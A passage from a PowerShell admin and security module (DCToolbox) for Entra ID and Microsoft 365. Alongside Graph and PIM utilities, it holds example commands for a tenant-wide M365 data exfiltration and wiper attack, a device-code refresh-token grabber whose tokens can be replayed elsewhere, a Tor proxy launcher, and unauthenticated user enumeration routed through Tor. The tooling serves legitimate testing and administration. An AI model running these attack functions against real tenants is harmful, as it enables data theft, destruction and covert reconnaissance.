$CurrentUser) { + Write-Verbose -Verbose -Message "Setting new password for $($EntraIDDirectoryRoleMember.UserPrincipalName)..." + Set-AzureAdUserPassword -ObjectId $EntraIDDirectoryRoleMember.UserID -Password (ConvertTo-SecureString (New-Guid).Guid -AsPlainText -Force) + } else { + Write-Verbose -Verbose -Message "Skipping $($EntraIDDirectoryRoleMember.UserPrincipalName)!" + } +} + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 8 { + $Snippet = @' +# This script uses an Entra ID app registration to download all files from all M365 groups (Teams) document libraries in a tenant. + +# One of the following Graph API app permissions is required: +# - Files.Read.All +# - Files.ReadWrite.All +# - Sites.Read.All +# - Sites.ReadWrite.All + +# Simulate data exfiltration. +Invoke-DCM365DataExfiltration -ClientID '' -ClientSecret '' -TenantName 'COMPANY.onmicrosoft.com' -WhatIf + +# Perform data exfiltration. +Invoke-DCM365DataExfiltration -ClientID '' -ClientSecret '' -TenantName 'COMPANY.onmicrosoft.com' + + +# This script uses an Entra ID app registration to wipe all files from all M365 groups (Teams) document libraries in a tenant. + +# One of the following Graph API app permissions is required: +# - Files.ReadWrite.All +# - Sites.ReadWrite.All + +# Simulate data deletion. +Invoke-DCM365DataWiper -ClientID '' -ClientSecret '' -TenantName 'COMPANY.onmicrosoft.com' -WhatIf + +# Perform data deletion. +Invoke-DCM365DataWiper -ClientID '' -ClientSecret '' -TenantName 'COMPANY.onmicrosoft.com' + +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 100 { + $Snippet = @' +# +'@ + + Set-Clipboard $Snippet + + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "Example copied to clipboard!" + Write-Host -ForegroundColor "Yellow" "" + } + 0 { + break + } default { + break + } + } + } + + + # Create example menu. + $Choice = CreateMenu -MenuTitle "Copy DCToolbox example to clipboard" -MenuChoices "Microsoft Graph with PowerShell examples", "Manage Conditional Access as code", "Activate an Entra ID Privileged Identity Management (PIM) role", "Manage stale Entra ID accounts", "Azure MFA SMS and voice call methods cleanup script", "General PowerShell script template", "Entra ID Security Breach Kick-Out Process", "Microsoft 365 Data Exfiltration / Wiper Attack" + + + # Handle menu choice. + HandleMenuChoice -MenuChoice $Choice +} + + + +function Install-DCToolbox { + <# + .SYNOPSIS + Check, install, and update the DCToolbox PowerShell module. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Install-DCToolbox + + .EXAMPLE + Install-DCToolbox -Verbose + #> + + + [CmdletBinding()] + param () + + + Write-Verbose -Message "Looking for DCToolbox PowerShell module..." + + $ModuleVersion = [string](Get-Module -ListAvailable -Name DCToolbox -Verbose:$false | Sort-Object Version -Descending | Select-Object -First 1).Version + $LatestVersion = (Find-Module DCToolbox -Verbose:$false | Select-Object -First 1).Version + + if (!($ModuleVersion)) { + Write-Verbose -Message "Not found! Installing DCToolbox $LatestVersion..." + Install-Module DCToolbox -Scope CurrentUser -Force -Verbose:$false + Write-Verbose -Message "Done!" + } + elseif ($ModuleVersion -ne $LatestVersion) { + Write-Verbose -Message "Found DCToolbox $ModuleVersion. Upgrading to $LatestVersion..." + Install-Module DCToolbox -Scope CurrentUser -Force -Verbose:$false + Write-Verbose -Message "Done!" + } + else { + Write-Verbose -Message "DCToolbox $ModuleVersion found!" + } + + Remove-Module DCToolbox -Force -Verbose:$false + + Import-Module DCToolbox -Force -Verbose:$false -ErrorAction SilentlyContinue | Out-Null +} + + + +function Confirm-DCPowerShellVersion { + <# + .SYNOPSIS + Check that a supported PowerShell version is running. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Confirm-DCPowerShellVersion + + .EXAMPLE + Confirm-DCPowerShellVersion -Verbose + #> + + + [CmdletBinding()] + param () + + + Write-Verbose -Message "Checking PowerShell version..." + if ($PSVersionTable.PSVersion.Major -lt 7) { + Write-Error -Message "Please upgrade to PowerShell version 7 before running this command: https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows?view=powershell-7.3" + + return + exit + } + else { + Write-Verbose -Message "PowerShell $($PSVersionTable.PSVersion.Major).$($PSVersionTable.PSVersion.Minor) found!" + } +} + + + +function Install-DCMicrosoftGraphPowerShellModule { + <# + .SYNOPSIS + Check, install, and update the Microsoft Graph PowerShell module. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Install-DCMicrosoftGraphPowerShellModule + + .EXAMPLE + Install-DCMicrosoftGraphPowerShellModule -Verbose + #> + + + [CmdletBinding()] + param () + + + Write-Verbose -Message "Looking for the Graph PowerShell module..." + + $ModuleVersion = [string](Get-Module -ListAvailable -Name Microsoft.Graph.Authentication -Verbose:$false | Sort-Object Version -Descending | Select-Object -First 1).Version + $LatestVersion = (Find-Module Microsoft.Graph.Authentication -Verbose:$false | Select-Object -First 1).Version + + if (!($ModuleVersion)) { + Write-Verbose -Message "Not found! Installing Graph PowerShell module $LatestVersion..." + Install-Module Microsoft.Graph -Scope CurrentUser -Force -Verbose:$false + Write-Verbose -Message "Done!" + } + elseif ($ModuleVersion -ne $LatestVersion) { + Write-Verbose -Message "Found Graph PowerShell module $ModuleVersion. Upgrading to $LatestVersion..." + Install-Module Microsoft.Graph -Scope CurrentUser -Force -Verbose:$false + Write-Verbose -Message "Done!" + } + else { + Write-Verbose -Message "Graph PowerShell module $ModuleVersion found!" + } + + Remove-Module Microsoft.Graph* -Force -Verbose:$false + + Import-Module Microsoft.Graph.Authentication -Force -Verbose:$false -ErrorAction SilentlyContinue | Out-Null +} + + + +function Connect-DCMsGraphAsUser { + <# + .SYNOPSIS + Connect to Microsoft Graph with the Microsoft Graph PowerShell module as a user (using delegated permissions in Graph). + + .PARAMETER Scopes + The required API permission scopes (delegated permissions). Example: "Policy.ReadWrite.ConditionalAccess", "Policy.Read.All" + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' + + .EXAMPLE + Connect-DCMsGraphAsUser -Scopes 'Policy.ReadWrite.ConditionalAccess', 'Policy.Read.All', 'Directory.Read.All' -Verbose + #> + + + [CmdletBinding()] + param ( + [parameter(Mandatory = $true)] + [string[]]$Scopes + ) + + + # Authenticate to Microsoft Graph: + Write-Verbose -Message "Connecting to Microsoft Graph..." + + Connect-MgGraph -NoWelcome -Scopes $Scopes -ErrorAction Stop + + Write-Verbose -Message "Connected to tenant '$(((Get-MgContext).Account.Split('@'))[1] )'!" +} + + + +function Invoke-DCEntraIDDeviceAuthFlow { + <# + .SYNOPSIS + Get a refresh token (or access token) from Entra ID using device code flow. + + .DESCRIPTION + This CMDlet will start a device code flow authentication process in Entra ID. Go to the provided URL and enter the code to authenticate. The script will wait for the authentication and then return the refresh token, and also copy it to the clipboard. + + A refresh token fetched by this tool can be replayed on another device. + + .PARAMETER ShowTokenDetails + Add this parameter if you want to display the token details on successful authentication. + + .PARAMETER ReturnAccessTokenInsteadOfRefreshToken + Return an access token instead of a refresh token. + + .PARAMETER ClientID + OPTIONAL: Specify the client ID for which a refresh token should be requested. Defaults to 'Microsoft Azure PowerShell' (1950a258-227b-4e31-a9cf-717495945fc2). If you set this parameter, you must also specify -TenantID. Note that the app registration in Entra ID must have device code flow enabled under Authentication > Advanced settings. + + .PARAMETER TenantID + OPTIONAL: Specify your tenant ID. You only need to specify this if you're specifying a ClientID with -ClientID. This is because Microsoft needs to now in which tenant a specific app is located. + + .INPUTS + None + + .OUTPUTS + Entra ID Refresh Token + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Invoke-DCEntraIDDeviceAuthFlow + + .EXAMPLE + $RefreshToken = Invoke-DCEntraIDDeviceAuthFlow + + .EXAMPLE + Invoke-DCEntraIDDeviceAuthFlow -ShowTokenDetails + + .EXAMPLE + Invoke-DCEntraIDDeviceAuthFlow -ClientID '' -TenantID '' + #> + + + param ( + [parameter(Mandatory = $false)] + [switch]$ShowTokenDetails, + + [parameter(Mandatory = $false)] + [switch]$ReturnAccessTokenInsteadOfRefreshToken, + + [parameter(Mandatory = $false)] + [string]$ClientID = '1950a258-227b-4e31-a9cf-717495945fc2', + + [parameter(Mandatory = $false)] + [string]$TenantID = 'common' + ) + + + # STEP 1: Get a device authentication code to use in browser. + $Headers = @{} + $Headers["Content-Type"] = 'application/x-www-form-urlencoded' + + $body = @{ + "client_id" = $ClientID + "scope" = "openid offline_access" + } + + $authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$TenantID/oauth2/v2.0/devicecode" -Headers $Headers -Body $body + + Write-Host "" + Write-Host -ForegroundColor Yellow "Go to this URL in any web browser:" + Write-Host -ForegroundColor Cyan " $($authResponse.verification_uri)" + Write-Host "" + Write-Host -ForegroundColor Yellow "Enter this code (it's in your clipboard):" + $($authResponse.user_code) | Set-Clipboard + Write-Host -ForegroundColor Cyan " $($authResponse.user_code)" + Write-Host "" + + + # STEP 2: Wait for authentication to happen in browser, then get the refresh token and copy it to clipboard. + Write-Host -ForegroundColor Yellow 'Waiting for browser sign-in...' + + for ($i = 0; $i -lt 60; $i++) { + try { + $body = @{ + "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" + "client_id" = $ClientID + "device_code" = $authResponse.device_code + } + + $Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/$TenantID/oauth2/v2.0/token" -Headers $Headers -Body $body + + Write-Host "" + Write-Host -ForegroundColor Green "SUCCESS!" + + if ($ShowTokenDetails) { + Write-Host "" + Write-Host -ForegroundColor Yellow "*** Details ***" + Write-Host -ForegroundColor Yellow "Token expires in: $([math]::Round($Tokens.expires_in / 60)) minutes" + Write-Host -ForegroundColor Yellow "Scope: $($Tokens.scope)" + } + + if ($ReturnAccessTokenInsteadOfRefreshToken) { + Write-Host "" + Write-Host -ForegroundColor Yellow "Access token:" + + Write-Output $Tokens.access_token + Write-Host "" + Write-Host -ForegroundColor Yellow "Access token was copied to clipboard!" + Write-Host "" + $Tokens.access_token | Set-Clipboard + } + else { + Write-Host "" + Write-Host -ForegroundColor Yellow "Refresh token:" + + Write-Output $Tokens.refresh_token + Write-Host "" + Write-Host -ForegroundColor Yellow "Refresh token was copied to clipboard!" + Write-Host "" + $Tokens.refresh_token | Set-Clipboard + } + + return + } + catch { + if (($_ | ConvertFrom-Json).error -eq 'code_expired') { + Write-Host "" + Write-Host -ForegroundColor Red 'Verification code expired!' + Write-Host "" + return + } + elseif (($_ | ConvertFrom-Json).error -eq 'authorization_pending') { + Start-Sleep -Seconds 5 + } + else { + Write-Host "" + Write-Host -ForegroundColor Red ($_ | ConvertFrom-Json).error + Write-Host "" + return + } + } + } + Write-Host "" + Write-Host -ForegroundColor Red 'Verification code expired!' + Write-Host "" +} + + + +function Connect-DCMsGraphAsApplication { + <# + .SYNOPSIS + Connect to Microsoft Graph with application credentials. + + .DESCRIPTION + This CMDlet will automatically connect to Microsoft Graph using application permissions (as opposed to delegated credentials). If successfull an access token is returned that can be used with other Graph CMDlets. Make sure you store the access token in a variable according to the example. + + Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: + https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + + .PARAMETER ClientID + Client ID for your Entra ID application. + + .PARAMETER ClientSecret + Client secret for the Entra ID application. + + .PARAMETER TenantName + The name of your tenant (example.onmicrosoft.com). + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + $AccessToken = Connect-DCMsGraphAsApplication -ClientID '8a85d2cf-17c7-4ecd-a4ef-05b9a81a9bba' -ClientSecret 'j[BQNSi29Wj4od92ritl_DHJvl1sG.Y/' -TenantName 'example.onmicrosoft.com' + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$ClientID, + + [parameter(Mandatory = $true)] + [string]$ClientSecret, + + [parameter(Mandatory = $true)] + [string]$TenantName + ) + + + # Declarations. + $LoginUrl = "https://login.microsoft.com" + $ResourceUrl = "https://graph.microsoft.com" + + + # Force TLS 1.2. + [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 + + + # Compose REST request. + $Body = @{ grant_type = "client_credentials"; resource = $ResourceUrl; client_id = $ClientID; client_secret = $ClientSecret } + $OAuth = Invoke-RestMethod -Method Post -Uri $LoginUrl/$TenantName/oauth2/token?api-version=1.0 -Body $Body + + + # Return the access token. + $OAuth.access_token +} + + + +function Invoke-DCMsGraphQuery { + <# + .SYNOPSIS + Run a Microsoft Graph query. + + .DESCRIPTION + This CMDlet will run a query against Microsoft Graph and return the result. It will connect using an access token generated by Connect-DCMsGraphAsDelegated or Connect-DCMsGraphAsApplication (depending on what permissions you use in Graph). + + Before running this CMDlet, you first need to register a new application in your Entra ID according to this article: + https://danielchronlund.com/2018/11/19/fetch-data-from-microsoft-graph-with-powershell-paging-support/ + + .PARAMETER AccessToken + An access token generated by Connect-DCMsGraphAsDelegated or Connect-DCMsGraphAsApplication (depending on what permissions you use in Graph). + + .PARAMETER GraphMethod + The HTTP method for the Graph call, like GET, POST, PUT, PATCH, DELETE. Default is GET. + + .PARAMETER GraphUri + The Microsoft Graph URI for the query. Example: https://graph.microsoft.com/v1.0/users/ + + .PARAMETER GraphBody + The request body of the Graph call. This is often used with methids like POST, PUT and PATCH. It is not used with GET. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Invoke-DCMsGraphQuery -AccessToken $AccessToken -GraphMethod 'GET' -GraphUri 'https://graph.microsoft.com/v1.0/users/' + #> + + + param ( + [parameter(Mandatory = $true)] + [string]$AccessToken, + + [parameter(Mandatory = $false)] + [string]$GraphMethod = 'GET', + + [parameter(Mandatory = $true)] + [string]$GraphUri, + + [parameter(Mandatory = $false)] + [string]$GraphBody = '' + ) + + # Check if authentication was successfull. + if ($AccessToken) { + # Format headers. + $HeaderParams = @{ + 'Content-Type' = "application\json" + 'Authorization' = "Bearer $AccessToken" + } + + + # Create an empty array to store the result. + $QueryRequest = @() + $QueryResult = @() + + # Run the first query. + if ($GraphMethod -eq 'GET') { + $QueryRequest = Invoke-RestMethod -Headers $HeaderParams -Uri $GraphUri -UseBasicParsing -Method $GraphMethod -ContentType "application/json" + } + else { + $QueryRequest = Invoke-RestMethod -Headers $HeaderParams -Uri $GraphUri -UseBasicParsing -Method $GraphMethod -ContentType "application/json" -Body $GraphBody + } + + if ($QueryRequest.value) { + $QueryResult += $QueryRequest.value + } + else { + $QueryResult += $QueryRequest + } + + + # Invoke REST methods and fetch data until there are no pages left. + if ($GraphUri -notlike "*`$top*") { + while ($QueryRequest.'@odata.nextLink') { + $QueryRequest = Invoke-RestMethod -Headers $HeaderParams -Uri $QueryRequest.'@odata.nextLink' -UseBasicParsing -Method $GraphMethod -ContentType "application/json" + + $QueryResult += $QueryRequest.value + } + } + + + $QueryResult + } + else { + Write-Error "No Access Token" + } +} + + + +function Enable-DCEntraIDPIMRole { + <# + .SYNOPSIS + Activate an Entra ID Privileged Identity Management (PIM) role with PowerShell. + + .DESCRIPTION + Uses the Graph PowerShell module to activate a user selected Entra ID role in Entra ID Privileged Identity Management (PIM). + + During activation, the user will be prompted to specify a reason for the activation. + + .PARAMETER RolesToActivate + This parameter is optional but if you specify it, you can select multiple roles to activate at ones. + + .PARAMETER Reason + Specify the reason for activating your roles. + + .PARAMETER UseMaximumTimeAllowed + Use this switch to automatically request maximum allowed time for all role assignments. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Enable-DCEntraIDPIMRole + + .EXAMPLE + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' + + .EXAMPLE + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' -UseMaximumTimeAllowed + + .EXAMPLE + Enable-DCEntraIDPIMRole -RolesToActivate 'Exchange Administrator', 'Security Reader' -Reason 'Performing some Exchange security configuration.' -UseMaximumTimeAllowed + #> + + param ( + [parameter(Mandatory = $false)] + [array]$RolesToActivate = @(), + + [parameter(Mandatory = $false)] + [string]$Reason, + + [parameter(Mandatory = $false)] + [switch]$UseMaximumTimeAllowed + ) + + + # Set Error Action - Possible choices: Stop, SilentlyContinue + $ErrorActionPreference = "Stop" + + + + # ----- [Execution] ----- + + # Check PowerShell version. + Confirm-DCPowerShellVersion -Verbose + + + # Check Microsoft Graph PowerShell module. + Install-DCMicrosoftGraphPowerShellModule -Verbose + + + # Check if the MSAL module is installed. + if (Get-Module -ListAvailable -Name "msal.ps") { + # Do nothing. + } + else { + Write-Verbose -Verbose -Message 'Installing MSAL module...' + Install-Package msal.ps -Force | Out-Null + } + + + # Check if already connected to Entra ID. + if (!(Get-MgContext)) { + # Try to force MFA challenge (since it is often required for PIM role activation). + Write-Verbose -Verbose -Message 'Connecting to Entra ID...' + + # Get token for MS Graph by prompting for MFA. + $MsResponse = Get-MsalToken -Scopes @('https://graph.microsoft.com/.default') -ClientId "14d82eec-204b-4c2f-b7e8-296a70dab67e" -RedirectUri "urn:ietf:wg:oauth:2.0:oob" -Authority 'https://login.microsoftonline.com/common' -Interactive -ExtraQueryParameters @{claims = '{"access_token" : {"amr": { "values": ["mfa"] }}}' } + + Connect-MgGraph -NoWelcome -AccessToken (ConvertTo-SecureString $MsResponse.AccessToken -AsPlainText -Force) + } + + + # Fetch current user object ID. + $CurrentAccount = (Get-MgContext).Account + Write-Verbose -Message "Fetching eligible roles for $CurrentAccount..." + $CurrentAccountId = (Get-MgUser -Filter "UserPrincipalName eq '$CurrentAccount'").Id + + + # Fetch all Entra ID roles. + $EntraIDRoleTemplates = Get-MgDirectoryRoleTemplate | Select-Object DisplayName, Description, Id | Sort-Object DisplayName + + + # Fetch all PIM role assignments for the current user. + $EntraIDEligibleRoleAssignments = Get-MgRoleManagementDirectoryRoleEligibilitySchedule -ExpandProperty RoleDefinition -All -Filter "principalId eq '$CurrentAccountId'" + + + # Exit if no roles are found. + if ($EntraIDEligibleRoleAssignments.Count -eq 0) { + Write-Verbose -Verbose -Message '' + Write-Verbose -Verbose -Message 'Found no eligible PIM roles to activate :(' + return + } + + # Format the fetched information. + $CurrentAccountRoles = foreach ($RoleAssignment in $EntraIDEligibleRoleAssignments) { + $CustomObject = New-Object -TypeName psobject + $CustomObject | Add-Member -MemberType NoteProperty -Name 'RoleDefinitionId' -Value $RoleAssignment.RoleDefinitionId + $CustomObject | Add-Member -MemberType NoteProperty -Name 'DisplayName' -Value ($EntraIDRoleTemplates | Where-Object { $_.Id -eq $RoleAssignment.RoleDefinitionId } ).DisplayName + + $PolicyAssignment = Get-MgPolicyRoleManagementPolicyAssignment -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole' and roleDefinitionId eq '$($RoleAssignment.RoleDefinitionId)'" -ExpandProperty "policy(`$expand=rules)" + + # Get the role management policy that's been assigned: + $Policy = Get-MgPolicyRoleManagementPolicy -UnifiedRoleManagementPolicyId $PolicyAssignment.PolicyId + + # Get all policy rules belonging to this role management policy: + $PolicyRules = Get-MgPolicyRoleManagementPolicyRule -UnifiedRoleManagementPolicyId $Policy.Id + + $MaximumDuration = ($PolicyRules | where id -eq 'Expiration_EndUser_Assignment').AdditionalProperties.maximumDuration + + $CustomObject | Add-Member -MemberType NoteProperty -Name 'maximumGrantPeriodInHours' -Value ($MaximumDuration -replace 'PT', '' -replace 'H', '') + $CustomObject | Add-Member -MemberType NoteProperty -Name 'StartDateTime' -Value $RoleAssignment.StartDateTime + $CustomObject | Add-Member -MemberType NoteProperty -Name 'EndDateTime' -Value $RoleAssignment.EndDateTime + $CustomObject + } + + + # Write menu title. + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Yellow" "*** Activate PIM Role for $CurrentAccount ***" + Write-Host -ForegroundColor "Yellow" "" + Write-Host -ForegroundColor "Cyan" "Note: To switch account/tenant, run Disconnect-MgGraph first." + Write-Host -ForegroundColor "Yellow" "" + + # Check if parameter was specified, and if that is true, enable all roles. + if (!($RolesToActivate)) { + # Create a menu and prompt the user for role selection. + + # Create a counter. + $Counter = 1 + + # Generate the menu choices. + foreach ($DisplayName in $CurrentAccountRoles.DisplayName) { + Write-Host -ForegroundColor "Yellow" "[$Counter] $DisplayName" + + # Add to counter. + $Counter = $Counter + 1 + } + Write-Host -ForegroundColor "Yellow" "[0] Exit" + + # Write empty line. + Write-Host -ForegroundColor "Yellow" "" + + # Prompt user for input. + $Prompt = "Choice" + $Answer = Read-Host $Prompt + + # Exit if requested. + if ($Answer -eq 0) { + return + } + + # Exit if nothing is selected. + if ($Answer -eq '') { + return + } + + # Exit if no role is selected. + if (!($CurrentAccountRoles[$Answer - 1])) { + return + } + + $RolesToActivate = @($CurrentAccountRoles[$Answer - 1]) + } + else { + Write-Host 'Roles to activate:' + Write-Host '' + + $RolesToActivate = foreach ($Role in $RolesToActivate) { + if ($CurrentAccountRoles.DisplayName -contains $Role) { + Write-Host $Role + $CurrentAccountRoles | Where-Object { $_.DisplayName -eq $Role } + } + } + } + + # Prompt user for reason. + Write-Host '' + + if (!($Reason)) { + $Prompt = "Reason" + $Reason = Read-Host $Prompt + } + + + foreach ($Role in $RolesToActivate) { + # Check if PIM-role is already activated. + $Duration = 0 + + if ($UseMaximumTimeAllowed) { + $Duration = ($Role.maximumGrantPeriodInHours) + } + else { + # Prompt user for duration. + if (!($Duration = Read-Host "Duration for '$($Role.DisplayName)' [$($Role.maximumGrantPeriodInHours) hour(s)]")) { + $Duration = $Role.maximumGrantPeriodInHours + } + } + + + # Activate PIM role. + Write-Verbose -Verbose -Message "Activating PIM role '$($Role.DisplayName)'..." + + + # Check for existing role activation before activating: + $Result = '' + $ExistingActivations = Get-MgRoleManagementDirectoryRoleAssignmentSchedule -Filter "PrincipalId eq '$CurrentAccountId' and RoleDefinitionId eq '$($Role.RoleDefinitionId)'" + + if ($ExistingActivations) { + $params = @{ + "PrincipalId" = "$CurrentAccountId" + "RoleDefinitionId" = "$($Role.RoleDefinitionId)" + "DirectoryScopeId" = "/" + "Action" = "SelfDeactivate" + } + + $Result = New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -BodyParameter $params + } + + $params = @{ + "PrincipalId" = "$CurrentAccountId" + "RoleDefinitionId" = "$($Role.RoleDefinitionId)" + "Justification" = "$Reason" + "DirectoryScopeId" = "/" + "Action" = "SelfActivate" + "ScheduleInfo" = @{ + "StartDateTime" = Get-Date + "Expiration" = @{ + "Type" = "AfterDuration" + "Duration" = "PT$Duration`H" + } + } + } + + $Result = New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -BodyParameter $params + + + Write-Verbose -Verbose -Message "$($Role.DisplayName) has been activated until $(Get-Date -Format 'f' -Date ((Get-Date).AddHours($Duration)))!" + } +} + + + +function Get-DCPublicIp { + <# + .SYNOPSIS + Get current public IP address information. + + .DESCRIPTION + Get the current public IP address and related information. The ipinfo.io API is used to fetch the information. You can use the -UseTorHttpProxy to route traffic through a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + + .PARAMETER UseTorHttpProxy + Route traffic through a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + + .INPUTS + None + + .OUTPUTS + Public IP address information. + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Get-DCPublicIp + + .EXAMPLE + (Get-DCPublicIp).ip + + .EXAMPLE + Write-Host "$((Get-DCPublicIp).city) $((Get-DCPublicIp).country)" + #> + + + param ( + [parameter(Mandatory = $false)] + [switch]$UseTorHttpProxy + ) + + if ($UseTorHttpProxy) { + Invoke-RestMethod -Proxy "http://127.0.0.1:9150" -Method "Get" -Uri "https://ipinfo.io/json" + } + else { + Invoke-RestMethod -Method "Get" -Uri "https://ipinfo.io/json" + } +} + + + +function Start-DCTorHttpProxy { + <# + .SYNOPSIS + Start a Tor network HTTP proxy for anonymous HTTP calls via PowerShell. + + .DESCRIPTION + Start a Tor network HTTP proxy that can be used for anonymization of HTTP traffic in PowerShell. Requires proxy support in the PowerShell CMDlet you want to anonymise. Many of the tools included in DCToolbox supports this. + + Start the proxy: + Start-DCTorHttpProxy + + The proxy will launch in a new PowerShell window that you can minimize. + + You can test it out (and find your currentn Tor IP address and location) with: + Get-DCPublicIp -UseTorHttpProxy + + For other CMDlets, use the following proxy configuration: + 127.0.0.1:9150 + + Note: This CMDlet expects the Tor browser to be installed under C:\Temp\Tor Browser. You can change the path with -TorBrowserPath. + + Download Tor browser: + https://www.torproject.org/download/ + + .PARAMETER TorBrowserPath + The path to the Tor browser directory. Default is 'C:\Temp\Tor Browser'. + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + + .EXAMPLE + Start-DCTorHttpProxy + #> + + + param ( + [parameter(Mandatory = $false)] + [string]$TorBrowserPath = 'C:\Temp\Tor Browser' + ) + + + # Configuration + $torBrowser = $TorBrowserPath + $TOR_HOST = "127.0.0.1" + $TOR_PORT = 9150 + $CTRL_PORT = 9151 + + # Do not modify these + $tor_location = "$torBrowser\Browser\TorBrowser\Tor" + $torrc_defaults = "$torBrowser\Browser\TorBrowser\Data\Tor\torrc-defaults" + $torrc = "$torBrowser\Browser\TorBrowser\Data\Tor\torrc" + $tordata = "$torBrowser\Browser\TorBrowser\Data\Tor" + $geoIP = "$torBrowser\Browser\TorBrowser\Data\Tor\geoip" + $geoIPv6 = "$torBrowser\Browser\TorBrowser\Data\Tor\geoip6" + $torExe = "$tor_location\tor.exe" + $controllerProcess = $PID + + function Get-OneToLastItem { + param ($arr) return $arr[$arr.Length - 2] + } + + $Command = "Write-Host '*** Running Tor HTTPS Proxy ***' -ForegroundColor Green; Write-Host ''; Write-Host 'Press [Ctrl+C] to stop Tor service.' -ForegroundColor Gray; Write-Host ''; & '$torExe' --defaults-torrc '$torrc_defaults' -f '$torrc' DataDirectory '$tordata' GeoIPFile '$geoIP' GeoIPv6File '$geoIPv6' +__ControlPort $CTRL_PORT +__HTTPTunnelPort '${TOR_HOST}:$TOR_PORT IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth' __OwningControllerProcess $controllerProcess | more" + + try { + Start-Process "`"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`"" "-NoExit -Command $Command" + + Write-Host -ForegroundColor "Yellow" "Running Tor HTTPS Proxy on $TOR_HOST`:$TOR_PORT" + Write-Host "" + } + catch { + Write-Error -Message $PSItem.Exception.Message + } +} + + + +function Test-DCEntraIDUserExistence { + <# + .SYNOPSIS + Test if an account exists in Entra ID for specified email addresses. + + .DESCRIPTION + This CMDlet will connect to public endpoints in Entra ID to find out if an account exists for specified email addresses or not. This script works without any authentication to Entra ID. This is called user enumeration in cyber security. + + The script can't see accounts for federated domains (since they are on-prem accounts) but it will tell you what organisation the federated domain belongs to. + + Do not use this script in an unethical or unlawful way. Use it to find weak spots in you Entra ID configuration. + + .PARAMETER Users + An array of one or more user email addresses to test. + + .PARAMETER UseTorHttpProxy + Use a running Tor network HTTP proxy that was started by Start-DCTorHttpProxy. + + .EXAMPLE + Test-DCEntraIDUserExistence -UseTorHttpProxy -Users "user1@example.com", "user2@example.com", "user3@example.onmicrosoft.com" + + .INPUTS + None + + .OUTPUTS + None + + .NOTES + Author: Daniel Chronlund + GitHub: https://github.com/DanielChronlund/DCToolbox + Blog: https://danielchronlund.com/ + #> + + + param ( + [parameter(Mandatory = $true)] + [array]$Users, + + [parameter(Mandatory = $false)] + [switch]$UseTorHttpProxy + ) + + foreach ($User in $Users) { + # Create custom object for output. + $TestObject = New-Object -TypeName psobject + + # Add username. + $TestObject | Add-Member -MemberType NoteProperty -Name "Username" -Value $User + + # Check if user account exists in Entra ID. + $IfExistsResult = 1 + + if ($UseTorHttpProxy) { + $IfExistsResult = ((Invoke-WebRequest -Proxy "http://127.0.0.1:9150" -Method "POST" -Uri "https://login.microsoftonline.com/common/GetCredentialType" -Body "{`"Username`":`"$User`"}").Content | ConvertFrom-Json).IfExistsResult + } + else { + $IfExistsResult = ((Invoke-WebRequest -Method "POST" -Uri "https://login.microsoftonline.com/common/GetCredentialType" -Body "{`"Username`":`"$User`"}").Content | ConvertFrom-Json).IfExistsResult + } + + if ($IfExistsResult -eq 0) { + # Check domain federation status. + [xml]$Response = "" + + if ($UseTorHttpProxy) { + [xml]$Response = (Invoke-WebRequest -Proxy "http://127.0.0.1:9150" -Uri 